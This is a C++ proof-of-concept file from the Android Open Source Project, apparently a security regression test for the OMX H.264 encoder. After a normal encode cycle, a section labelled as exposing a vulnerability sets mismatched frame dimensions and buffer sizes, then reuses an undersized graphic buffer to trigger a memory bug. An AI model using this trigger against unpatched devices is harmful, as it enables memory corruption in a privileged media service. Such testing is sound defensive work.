/** * Copyright (C) 2020 The Android Open Source Project * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #include #include "../includes/common.h" #include "../includes/omxUtils.h" sp mAllocator = IAllocator::getService("ashmem"); int allocateHidlPortBuffers(OMX_U32 portIndex, Vector *buffers) { buffers->clear(); OMX_PARAM_PORTDEFINITIONTYPE def; int err = omxUtilsGetParameter(portIndex, &def); omxExitOnError(err); for (OMX_U32 i = 0; i < def.nBufferCountActual; ++i) { Buffer buffer; buffer.mFlags = 0; bool success; auto transStatus = mAllocator->allocate(def.nBufferSize, [&success, &buffer]( bool s, hidl_memory const& m) { success = s; buffer.mHidlMemory = m; }); omxExitOnError(!transStatus.isOk()); omxExitOnError(!success); omxUtilsUseBuffer(portIndex, buffer.mHidlMemory, &buffer.mID); buffers->push(buffer); } return OK; } int main() { /* Initialize OMX for the specified codec */ status_t ret = omxUtilsInit((char *) "OMX.google.h264.encoder"); omxExitOnError(ret); /* Get OMX input port parameters */ OMX_PARAM_PORTDEFINITIONTYPE *params = (OMX_PARAM_PORTDEFINITIONTYPE *) malloc( sizeof(OMX_PARAM_PORTDEFINITIONTYPE)); memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE)); omxUtilsGetParameter(OMX_UTILS_IP_PORT, params); int ipBufferCount = params->nBufferCountActual; /* Set port mode */ omxUtilsSetPortMode(OMX_UTILS_IP_PORT, IOMX::kPortModeDynamicANWBuffer); /* Allocate input buffers and graphic buffer */ sp graphicbuffer = new GraphicBuffer( params->format.video.nFrameWidth, params->format.video.nFrameHeight, HAL_PIXEL_FORMAT_RGBX_8888, android::GraphicBuffer::USAGE_HW_VIDEO_ENCODER, "me"); int i; Vector inputBuffers; Vector outputBuffers; /* Register input buffers with OMX component */ allocateHidlPortBuffers(OMX_UTILS_IP_PORT, &inputBuffers); /* Get OMX output port parameters */ memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE)); omxUtilsGetParameter(OMX_UTILS_OP_PORT, params); int opBufferSize = params->nBufferSize; int opBufferCount = params->nBufferCountActual; allocateHidlPortBuffers(OMX_UTILS_OP_PORT, &outputBuffers); /* Do OMX State chage to Idle */ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle); /* Do OMX State chage to Executing */ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateExecuting); /* Empty input buffers and fill output buffers */ OMXBuffer omxIpBuf(graphicbuffer); omxUtilsEmptyBuffer(inputBuffers[0].mID, omxIpBuf, 0, 0, -1); OMXBuffer omxOpBuf(0, opBufferSize); omxUtilsFillBuffer(outputBuffers[0].mID, omxOpBuf, -1); /* Do OMX State chage to Idle */ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle); /* Do OMX State chage to Loaded */ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateLoaded); /* Free input and output buffers */ for (i = 0; i < ipBufferCount; i++) { omxUtilsFreeBuffer(OMX_UTILS_IP_PORT, inputBuffers[i].mID); } for (i = 0; i < opBufferCount; i++) { omxUtilsFreeBuffer(OMX_UTILS_OP_PORT, outputBuffers[i].mID); } /*********************************************************************/ /* Following code exposes vulnerability */ /*********************************************************************/ Vector newInputBuffers; Vector newOutputBuffers; /* Get OMX input port parameters, change settings and set output port*/ /* port parameters */ memset(params, 0, sizeof(OMX_PARAM_PORTDEFINITIONTYPE)); omxUtilsGetParameter(OMX_UTILS_IP_PORT, params); params->nBufferSize = 38016; params->format.video.nFrameWidth = 2000; params->format.video.nFrameHeight = 2000; omxUtilsSetParameter(OMX_UTILS_IP_PORT, params); /* Allocated input buffers and register with OMX component */ allocateHidlPortBuffers(OMX_UTILS_IP_PORT, &newInputBuffers); /* Allocated output buffers and register with OMX component */ allocateHidlPortBuffers(OMX_UTILS_OP_PORT, &newOutputBuffers); /* Do OMX State chage to Idle */ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle); /* Do OMX State chage to Executing */ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateExecuting); /* Empty input buffers and fill output buffers */ OMXBuffer newOmxIpBuf(graphicbuffer); omxUtilsEmptyBuffer(newInputBuffers[0].mID, newOmxIpBuf, 0, 0, -1); OMXBuffer newOmxOpBuf(0, opBufferSize); omxUtilsFillBuffer(newOutputBuffers[0].mID, newOmxOpBuf, -1); /* Do OMX State change to Idle */ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateIdle); /* Do OMX State change to Loaded */ omxUtilsSendCommand(OMX_CommandStateSet, OMX_StateLoaded); /* Free input and output buffers */ for (i = 0; i < ipBufferCount; i++) { omxUtilsFreeBuffer(OMX_UTILS_IP_PORT, newInputBuffers[i].mID); } for (i = 0; i < opBufferCount; i++) { omxUtilsFreeBuffer(OMX_UTILS_OP_PORT, newOutputBuffers[i].mID); } /* Free OMX resources */ omxUtilsFreeNode(); return EXIT_SUCCESS; }